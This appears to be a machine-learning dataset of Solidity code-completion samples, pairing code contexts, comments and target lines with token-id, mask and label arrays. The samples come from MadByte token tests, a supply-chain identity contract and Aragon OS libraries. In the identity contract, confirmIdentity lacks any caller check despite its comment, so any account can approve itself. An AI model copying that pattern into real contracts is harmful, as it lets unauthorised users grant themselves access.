assertEq(address(foundation).balance, foundationAmount); assertEq(address(token).balance, 1 ether); assertEq(token.getPoolBalance(), 1 ether); } // testing the distribute after depositing uint256 expectedETH = token.MBtoEth(token.getPoolBalance(), token.totalSupply(), 100 * ONE_MB); token.depositTo(address(0xd39f14dCd02B9fC8A11bd95604D3E3E12Fd938EE), 100 * ONE_MB); { (minerAmount, stakingAmount, lpStakingAmount, foundationAmount) = token.distribute(); } { assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); assertEq(stakingAmount+minerAmount+lpStakingAmount+foundationAmount, expectedETH); // assert balances assertEq(stakingAmount, 83202150161780228); assertEq(minerAmount, 83452759047809689); assertEq(lpStakingAmount, 83202150161780228); assertEq(foundationAmount, 751826658088375); } expectedETH = token.MBtoEth(token.getPoolBalance(), token.totalSupply(), 199 * ONE_MB); token.depositTo(address(0xd39f14dCd02B9fC8A11bd95604D3E3E12Fd938EE), 199 * ONE_MB); (minerAmount, stakingAmount, lpStakingAmount, foundationAmount) = token.distribute(); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); assertEq(stakingAmount+minerAmount+lpStakingAmount+foundationAmount, expectedETH); // assert balances assertEq(stakingAmount, 165572037175109037); assertEq(minerAmount, 166070748130455754); assertEq(lpStakingAmount, 165572037175109037); assertEq(foundationAmount, 1496132866040141); } function testDistributeWithMadByteDepositBN() public { ( MadByte token, , MadStakingAccount madStaking, MinerStakingAccount minerStaking, LPStakingAccount lpStaking, FoundationAccount foundation ) = getFixtureData(); // assert balances assertEq(address(madStaking).balance, 0); assertEq(address(minerStaking).balance, 0); assertEq(address(foundation).balance, 0); // mint and transfer some tokens to the accounts uint256 madBytes = token.mint{value: 4 ether}(0); assertEq(399_028731704364116575, madBytes); assertEq(token.totalSupply(), madBytes); assertEq(address(token).balance, 4 ether); assertEq(token.getPoolBalance(), 1 ether); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); (uint256 minerAmount, uint256 stakingAmount, uint256 lpStakingAmount, uint256 foundationAmount) = token.distribute(); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); // assert balances { // assert balances assertEq(stakingAmount, 996000000000000000); assertEq(minerAmount, 999000000000000000); assertEq(lpStakingAmount, 996000000000000000); assertEq(foundationAmount, 9000000000000000); assertEq(stakingAmount+minerAmount+lpStakingAmount+foundationAmount, 3 ether); assertEq(address(madStaking).balance, stakingAmount); assertEq(address(minerStaking).balance, minerAmount); assertEq(address(lpStaking).balance, lpStakingAmount); assertEq(address(foundation).balance, foundationAmount); assertEq(address(token).balance, 1 ether); assertEq(token.getPoolBalance(), 1 ether); } // testing the distribute after depositing uint256 expectedETH = token.MBtoEth(token.getPoolBalance(), token.totalSupply(), 100 * ONE_MB); token.depositToBN(0x1, 0x2, 0x3, 0x4, 100 * ONE_MB); (minerAmount, stakingAmount, lpStakingAmount, foundationAmount) = token.distribute(); { assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); assertEq(stakingAmount+minerAmount+lpStakingAmount+foundationAmount, expectedETH); // assert balances assertEq(stakingAmount, 83202150161780228); assertEq(minerAmount, 83452759047809689); assertEq(lpStakingAmount, 83202150161780228); assertEq(foundationAmount, 751826658088375); } expectedETH = token.MBtoEth(token.getPoolBalance(), token.totalSupply(), 199 * ONE_MB); token.depositToBN(0x1, 0x2, 0x3, 0x4, 199 * ONE_MB); (minerAmount, stakingAmount, lpStakingAmount, foundationAmount) = token.distribute(); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); assertEq(stakingAmount+minerAmount+lpStakingAmount+foundationAmount, expectedETH); // assert balances assertEq(stakingAmount, 165572037175109037); assertEq(minerAmount, 166070748130455754); assertEq(lpStakingAmount, 165572037175109037); assertEq(foundationAmount, 1496132866040141); } function testDistributeWithMintDeposit() public { (MadByte token,,,,,) = getFixtureData(); address user = address(0xd39f14dCd02B9fC8A11bd95604D3E3E12Fd938EE); assertEq(token.getPoolBalance(), 0); assertEq(token.totalSupply(), 0); uint256 depositID = token.mintDeposit{value: 10 ether}(user, 0); assertEq(token.getPoolBalance(), 0); assertEq(token.totalSupply(), 0); assertEq(depositID, 1); assertEq(token.balanceOf(address(user)), 0); assertEq(token.balanceOf(address(this)), 0); assertEq(token.getTotalMadBytesDeposited(), token.getDeposit(1)); (address depositOwner, ) = token.getDepositOwner(depositID); assertEq(depositOwner, user); (uint256 minerAmount, uint256 stakingAmount, uint256 lpStakingAmount, uint256 foundationAmount) = token.distribute(); assertEq(stakingAmount+minerAmount+lpStakingAmount+foundationAmount, 10 ether); // assert balances assertEq(stakingAmount, 3320000000000000000); assertEq(minerAmount, 3330000000000000000); assertEq(lpStakingAmount, 3320000000000000000); assertEq(foundationAmount, 30000000000000000); uint256 depositID2 = token.mintDeposit{value: 10 ether}(user, 0); assertEq(token.getPoolBalance(), 0); assertEq(token.totalSupply(), 0); assertEq(depositID2, 2); assertEq(token.balanceOf(address(user)), 0); assertEq(token.balanceOf(address(this)), 0); assertEq(token.getTotalMadBytesDeposited(), token.getDeposit(1)+token.getDeposit(2)); (address depositOwner2, ) = token.getDepositOwner(depositID2); assertEq(depositOwner2, user); (minerAmount, stakingAmount, lpStakingAmount, foundationAmount) = token.distribute(); assertEq(stakingAmount+minerAmount+lpStakingAmount+foundationAmount, 10 ether); // assert balances assertEq(stakingAmount, 3320000000000000000); assertEq(minerAmount, 3330000000000000000); assertEq(lpStakingAmount, 3320000000000000000); assertEq(foundationAmount, 30000000000000000); assertEq(token.getDeposit(2), token.getDeposit(1)); emit log_named_uint("Amount deposit 1", token.getDeposit(1)); emit log_named_uint("Amount deposit 2", token.getDeposit(2)); // testing if we are getting the same amount of MB from the normal mint uint256 madBytes = token.mint{value: 10 ether}(0); assertEq(token.balanceOf(address(this)), madBytes); assertEq(token.getDeposit(1), madBytes); } function testFail_DepositZeroMadBytes() public { (MadByte token,,,,,) = getFixtureData(); assertEq(token.getPoolBalance(), 0); EOA_DepositZeroMadBytes user = new EOA_DepositZeroMadBytes{value: 10 ether}(token); } function testFail_DepositToZeroMadBytes() public { (MadByte token,,,,,) = getFixtureData(); address user = address(0xd39f14dCd02B9fC8A11bd95604D3E3E12Fd938EE); uint256 madBytes = token.mint{value: 10 ether}(0); emit log_named_uint("EOA MadBytes minted", madBytes); emit log_named_address("EOA Msg sender", msg.sender); assertEq(token.balanceOf(address(this)), madBytes); assertEq(token.getPoolBalance(), 2_500000000000000000); // first deposit uint256 depositID = token.depositTo(user, 0); } function testFail_DepositToBNZeroMadBytes() public { (MadByte token,,,,,) = getFixtureData(); MadByte.BNAddress memory user = MadByte.BNAddress(0x1, 0x2, 0x3, 0x4); uint256 madBytes = token.mint{value: 10 ether}(0); emit log_named_uint("EOA MadBytes minted", madBytes); emit log_named_address("EOA Msg sender", msg.sender); assertEq(token.balanceOf(address(this)), madBytes); assertEq(token.getPoolBalance(), 2_500000000000000000); uint256 depositID = token.depositToBN(user.to0, user.to1, user.to2, user.to3, 0 * ONE_MB); } function testFail_VirtualMintDepositZeroMadBytes() public { (MadByte token, AdminAccount admin,,,,) = getFixtureData(); address user = address(0xd39f14dCd02B9fC8A11bd95604D3E3E12Fd938EE); uint256 madBytes = token.mint{value: 10 ether}(0); assertEq(token.balanceOf(address(this)), madBytes); assertEq(token.getPoolBalance(), 2_500000000000000000); // first deposit uint256 depositID = admin.virtualMintDeposit(user, 0 * ONE_MB); } function testFail_MintDepositZeroMadBytes() public { (MadByte token,,,,,) = getFixtureData(); address user = address(0xd39f14dCd02B9fC8A11bd95604D3E3E12Fd938EE); assertEq(token.getPoolBalance(), 0); uint256 depositID = token.mintDeposit{value: 0 ether}(user, 0); } function testDistributeWithoutFoundation() public { ( MadByte token, AdminAccount admin, MadStakingAccount madStaking, MinerStakingAccount minerStaking, LPStakingAccount lpStaking, FoundationAccount foundation ) = getFixtureData(); // assert balances assertEq(address(madStaking).balance, 0); assertEq(address(minerStaking).balance, 0); assertEq(address(foundation).balance, 0); // set splits admin.setSplits(350, 350, 300, 0); // mint and transfer some tokens to the accounts uint256 madBytes = token.mint{value: 4 ether}(0); assertEq(399_028731704364116575, madBytes); assertEq(token.totalSupply(), madBytes); assertEq(address(token).balance, 4 ether); assertEq(token.getPoolBalance(), 1 ether); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); (uint256 minerAmount, uint256 stakingAmount, uint256 lpStakingAmount, uint256 foundationAmount) = token.distribute(); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); // assert balances assertEq(stakingAmount, 1050000000000000000); assertEq(minerAmount, 1050000000000000000); assertEq(lpStakingAmount, 900000000000000000); assertEq(foundationAmount, 0); assertEq(stakingAmount + minerAmount + lpStakingAmount + foundationAmount, 3 ether); assertEq(address(madStaking).balance, stakingAmount); assertEq(address(minerStaking).balance, minerAmount); assertEq(address(lpStaking).balance, lpStakingAmount); assertEq(address(foundation).balance, foundationAmount); assertEq(address(token).balance, 1 ether); assertEq(token.getPoolBalance(), 1 ether); } function testDistributeWithoutLPStaking() public { ( MadByte token, AdminAccount admin, MadStakingAccount madStaking, MinerStakingAccount minerStaking, LPStakingAccount lpStaking, FoundationAccount foundation ) = getFixtureData(); // assert balances assertEq(address(madStaking).balance, 0); assertEq(address(minerStaking).balance, 0); assertEq(address(foundation).balance, 0); // set splits admin.setSplits(350, 350, 0, 300); // mint and transfer some tokens to the accounts uint256 madBytes = token.mint{value: 4 ether}(0); assertEq(399_028731704364116575, madBytes); assertEq(token.totalSupply(), madBytes); assertEq(address(token).balance, 4 ether); assertEq(token.getPoolBalance(), 1 ether); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); (uint256 minerAmount, uint256 stakingAmount, uint256 lpStakingAmount, uint256 foundationAmount) = token.distribute(); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); // assert balances assertEq(stakingAmount, 1050000000000000000); assertEq(minerAmount, 1050000000000000000); assertEq(lpStakingAmount, 0); assertEq(foundationAmount, 900000000000000000); assertEq(stakingAmount + minerAmount + lpStakingAmount + foundationAmount, 3 ether); assertEq(address(madStaking).balance, stakingAmount); assertEq(address(minerStaking).balance, minerAmount); assertEq(address(lpStaking).balance, lpStakingAmount); assertEq(address(foundation).balance, foundationAmount); assertEq(address(token).balance, 1 ether); assertEq(token.getPoolBalance(), 1 ether); } function testDistributeWithoutMadStaking() public { ( MadByte token, AdminAccount admin, MadStakingAccount madStaking, MinerStakingAccount minerStaking, LPStakingAccount lpStaking, FoundationAccount foundation ) = getFixtureData(); // assert balances assertEq(address(madStaking).balance, 0); assertEq(address(minerStaking).balance, 0); assertEq(address(foundation).balance, 0); // set splits admin.setSplits(350, 0, 350, 300); // mint and transfer some tokens to the accounts uint256 madBytes = token.mint{value: 4 ether}(0); assertEq(399_028731704364116575, madBytes); assertEq(token.totalSupply(), madBytes); assertEq(address(token).balance, 4 ether); assertEq(token.getPoolBalance(), 1 ether); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); (uint256 minerAmount, uint256 stakingAmount, uint256 lpStakingAmount, uint256 foundationAmount) = token.distribute(); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); // assert balances assertEq(stakingAmount, 0); assertEq(minerAmount, 1050000000000000000); assertEq(lpStakingAmount, 1050000000000000000); assertEq(foundationAmount, 900000000000000000); assertEq(stakingAmount + minerAmount + lpStakingAmount + foundationAmount, 3 ether); assertEq(address(madStaking).balance, stakingAmount); assertEq(address(minerStaking).balance, minerAmount); assertEq(address(lpStaking).balance, lpStakingAmount); assertEq(address(foundation).balance, foundationAmount); assertEq(address(token).balance, 1 ether); assertEq(token.getPoolBalance(), 1 ether); } function testDistributeWithoutMinerStaking() public { ( MadByte token, AdminAccount admin, MadStakingAccount madStaking, MinerStakingAccount minerStaking, LPStakingAccount lpStaking, FoundationAccount foundation ) = getFixtureData(); // assert balances assertEq(address(madStaking).balance, 0); assertEq(address(minerStaking).balance, 0); assertEq(address(foundation).balance, 0); // set splits admin.setSplits(0, 350, 350, 300); // mint and transfer some tokens to the accounts uint256 madBytes = token.mint{value: 4 ether}(0); assertEq(399_028731704364116575, madBytes); assertEq(token.totalSupply(), madBytes); assertEq(address(token).balance, 4 ether); assertEq(token.getPoolBalance(), 1 ether); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); (uint256 minerAmount, uint256 stakingAmount, uint256 lpStakingAmount, uint256 foundationAmount) = token.distribute(); assertEq(token.MBtoEth(token.getPoolBalance(), token.totalSupply(), token.totalSupply()), token.getPoolBalance()); // assert balances assertEq(stakingAmount, 1050000000000000000); assertEq(minerAmount, 0); assertEq(lpStakingAmount, 1050000000000000000); assertEq(foundationAmount, 900000000000000000); assertEq(stakingAmount + minerAmount + lpStakingAmount + foundationAmount, 3 ether); assertEq(address(madStaking).balance, stakingAmount); assertEq(address(minerStaking).balance, minerAmount); assertEq(address(lpStaking).balance, lpStakingAmount); assertEq(address(foundation).balance, foundationAmount); assertEq(address(token).balance, 1 ether); assertEq(token.getPoolBalance(), 1 ether); } }
testing the distribute after depositing
uint256 expectedETH = token.MBtoEth(token.getPoolBalance(), token.totalSupply(), 100 * ONE_MB);
954,763
[ 1, 3813, 310, 326, 25722, 1839, 443, 1724, 310, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 2665, 1584, 44, 273, 1147, 18, 7969, 869, 41, 451, 12, 2316, 18, 588, 2864, 13937, 9334, 1147, 18, 4963, 3088, 1283, 9334, 2130, 380, 15623, 67, 7969, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.19; import './Ownable.sol'; import './Utils.sol'; //json库使用不了 // import "./utils/LibString.sol"; // import "./utils/LibInt.sol"; contract Account is Ownable, Utils{ // using LibString for * ; // using LibInt for *; // 身份字符串; string PRODUCE = 'produce'; string MILKING = 'milking'; string PROCESS = 'process'; string STOREEXPRESS ='storeExpress'; string SELL = 'sell'; // 身份设定成功事件 event identitySetSucc(address _address, string _str); address[] public participateArr; // 这两个结构都是 有ber而来 struct Member{ // 身份 string identity; // 是否被管理者批准----账户是否有效 bool isVaild; // 是否申请创建----判断 bool isExist; string applyDate; } // 地址和对应的身份 0x123456 ===> {'produce',false,false,'2020-1-1'} ---为了方便根据地址查询身份的方便 mapping(address => Member) public addressToIdentity; // 给一个账户地址设定一个身份------**这个和后续准入机制有关** // 普通账户申请成为参与者---public function setIdentity(address _address, string _str, string _date) public { // 确认账户没有确认的身份----可能注册一个身份被拒绝,但是还是可以注册另一个身份 require(!addressToIdentity[_address].isVaild); // 如果一个账户从未申请过,加入到participateArr数组中 if(!addressToIdentity[_address].isExist){ participateArr.push(_address); } // 不管账户有没有申请过,更新映射中的消息 addressToIdentity[_address].identity = _str; addressToIdentity[_address].applyDate = _date; addressToIdentity[_address].isExist = true; } // 管理者确认参与者身份, function confirmIdentity(address _address) public { // 确认账户是否已经申请过; require(addressToIdentity[_address].isExist); addressToIdentity[_address].isVaild = true; // 广播事件 identitySetSucc(_address, addressToIdentity[_address].identity); } // 放回参与方地址集合的 数组长度 function getIdentityArrLength() public view returns(uint){ return participateArr.length; } // 判断地址数组中是否存在这个地址的方法 最高效的是用mapping判断 // 判断是否是参与者的 定义的函数修饰符;` modifier onlyparticipate(address _address) { require(addressToIdentity[_address].isVaild); _; } }
不管账户有没有申请过,更新映射中的消息
addressToIdentity[_address].identity = _str;
1,013,187
[ 1, 165, 121, 240, 168, 111, 99, 169, 117, 104, 167, 235, 120, 167, 255, 236, 167, 115, 99, 167, 255, 236, 168, 247, 116, 169, 112, 120, 169, 128, 234, 176, 125, 239, 167, 254, 117, 167, 249, 113, 167, 251, 259, 166, 113, 231, 165, 121, 260, 168, 253, 231, 167, 119, 235, 167, 228, 112, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1758, 774, 4334, 63, 67, 2867, 8009, 10781, 273, 389, 701, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: @aragon/os/contracts/common/UnstructuredStorage.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; library UnstructuredStorage { function getStorageBool(bytes32 position) internal view returns (bool data) { assembly { data := sload(position) } } function getStorageAddress(bytes32 position) internal view returns (address data) { assembly { data := sload(position) } } function getStorageBytes32(bytes32 position) internal view returns (bytes32 data) { assembly { data := sload(position) } } function getStorageUint256(bytes32 position) internal view returns (uint256 data) { assembly { data := sload(position) } } function setStorageBool(bytes32 position, bool data) internal { assembly { sstore(position, data) } } function setStorageAddress(bytes32 position, address data) internal { assembly { sstore(position, data) } } function setStorageBytes32(bytes32 position, bytes32 data) internal { assembly { sstore(position, data) } } function setStorageUint256(bytes32 position, uint256 data) internal { assembly { sstore(position, data) } } } // File: @aragon/os/contracts/acl/IACL.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IACL { function initialize(address permissionsCreator) external; // TODO: this should be external // See https://github.com/ethereum/solidity/issues/4832 function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool); } // File: @aragon/os/contracts/common/IVaultRecoverable.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IVaultRecoverable { event RecoverToVault(address indexed vault, address indexed token, uint256 amount); function transferToVault(address token) external; function allowRecoverability(address token) external view returns (bool); function getRecoveryVault() external view returns (address); } // File: @aragon/os/contracts/kernel/IKernel.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IKernelEvents { event SetApp(bytes32 indexed namespace, bytes32 indexed appId, address app); } // This should be an interface, but interfaces can't inherit yet :( contract IKernel is IKernelEvents, IVaultRecoverable { function acl() public view returns (IACL); function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool); function setApp(bytes32 namespace, bytes32 appId, address app) public; function getApp(bytes32 namespace, bytes32 appId) public view returns (address); } // File: @aragon/os/contracts/apps/AppStorage.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract AppStorage { using UnstructuredStorage for bytes32; /* Hardcoded constants to save gas bytes32 internal constant KERNEL_POSITION = keccak256("aragonOS.appStorage.kernel"); bytes32 internal constant APP_ID_POSITION = keccak256("aragonOS.appStorage.appId"); */ bytes32 internal constant KERNEL_POSITION = 0x4172f0f7d2289153072b0a6ca36959e0cbe2efc3afe50fc81636caa96338137b; bytes32 internal constant APP_ID_POSITION = 0xd625496217aa6a3453eecb9c3489dc5a53e6c67b444329ea2b2cbc9ff547639b; function kernel() public view returns (IKernel) { return IKernel(KERNEL_POSITION.getStorageAddress()); } function appId() public view returns (bytes32) { return APP_ID_POSITION.getStorageBytes32(); } function setKernel(IKernel _kernel) internal { KERNEL_POSITION.setStorageAddress(address(_kernel)); } function setAppId(bytes32 _appId) internal { APP_ID_POSITION.setStorageBytes32(_appId); } } // File: @aragon/os/contracts/acl/ACLSyntaxSugar.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract ACLSyntaxSugar { function arr() internal pure returns (uint256[]) { return new uint256[](0); } function arr(bytes32 _a) internal pure returns (uint256[] r) { return arr(uint256(_a)); } function arr(bytes32 _a, bytes32 _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a) internal pure returns (uint256[] r) { return arr(uint256(_a)); } function arr(address _a, address _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) { return arr(uint256(_a), _b, _c); } function arr(address _a, uint256 _b, uint256 _c, uint256 _d) internal pure returns (uint256[] r) { return arr(uint256(_a), _b, _c, _d); } function arr(address _a, uint256 _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a, address _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), _c, _d, _e); } function arr(address _a, address _b, address _c) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), uint256(_c)); } function arr(address _a, address _b, uint256 _c) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), uint256(_c)); } function arr(uint256 _a) internal pure returns (uint256[] r) { r = new uint256[](1); r[0] = _a; } function arr(uint256 _a, uint256 _b) internal pure returns (uint256[] r) { r = new uint256[](2); r[0] = _a; r[1] = _b; } function arr(uint256 _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) { r = new uint256[](3); r[0] = _a; r[1] = _b; r[2] = _c; } function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d) internal pure returns (uint256[] r) { r = new uint256[](4); r[0] = _a; r[1] = _b; r[2] = _c; r[3] = _d; } function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) { r = new uint256[](5); r[0] = _a; r[1] = _b; r[2] = _c; r[3] = _d; r[4] = _e; } } contract ACLHelpers { function decodeParamOp(uint256 _x) internal pure returns (uint8 b) { return uint8(_x >> (8 * 30)); } function decodeParamId(uint256 _x) internal pure returns (uint8 b) { return uint8(_x >> (8 * 31)); } function decodeParamsList(uint256 _x) internal pure returns (uint32 a, uint32 b, uint32 c) { a = uint32(_x); b = uint32(_x >> (8 * 4)); c = uint32(_x >> (8 * 8)); } } // File: @aragon/os/contracts/common/Uint256Helpers.sol pragma solidity ^0.4.24; library Uint256Helpers { uint256 private constant MAX_UINT64 = uint64(-1); string private constant ERROR_NUMBER_TOO_BIG = "UINT64_NUMBER_TOO_BIG"; function toUint64(uint256 a) internal pure returns (uint64) { require(a <= MAX_UINT64, ERROR_NUMBER_TOO_BIG); return uint64(a); } } // File: @aragon/os/contracts/common/TimeHelpers.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract TimeHelpers { using Uint256Helpers for uint256; /** * @dev Returns the current block number. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber() internal view returns (uint256) { return block.number; } /** * @dev Returns the current block number, converted to uint64. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber64() internal view returns (uint64) { return getBlockNumber().toUint64(); } /** * @dev Returns the current timestamp. * Using a function rather than `block.timestamp` allows us to easily mock it in * tests. */ function getTimestamp() internal view returns (uint256) { return block.timestamp; // solium-disable-line security/no-block-members } /** * @dev Returns the current timestamp, converted to uint64. * Using a function rather than `block.timestamp` allows us to easily mock it in * tests. */ function getTimestamp64() internal view returns (uint64) { return getTimestamp().toUint64(); } } // File: @aragon/os/contracts/common/Initializable.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract Initializable is TimeHelpers { using UnstructuredStorage for bytes32; // keccak256("aragonOS.initializable.initializationBlock") bytes32 internal constant INITIALIZATION_BLOCK_POSITION = 0xebb05b386a8d34882b8711d156f463690983dc47815980fb82aeeff1aa43579e; string private constant ERROR_ALREADY_INITIALIZED = "INIT_ALREADY_INITIALIZED"; string private constant ERROR_NOT_INITIALIZED = "INIT_NOT_INITIALIZED"; modifier onlyInit { require(getInitializationBlock() == 0, ERROR_ALREADY_INITIALIZED); _; } modifier isInitialized { require(hasInitialized(), ERROR_NOT_INITIALIZED); _; } /** * @return Block number in which the contract was initialized */ function getInitializationBlock() public view returns (uint256) { return INITIALIZATION_BLOCK_POSITION.getStorageUint256(); } /** * @return Whether the contract has been initialized by the time of the current block */ function hasInitialized() public view returns (bool) { uint256 initializationBlock = getInitializationBlock(); return 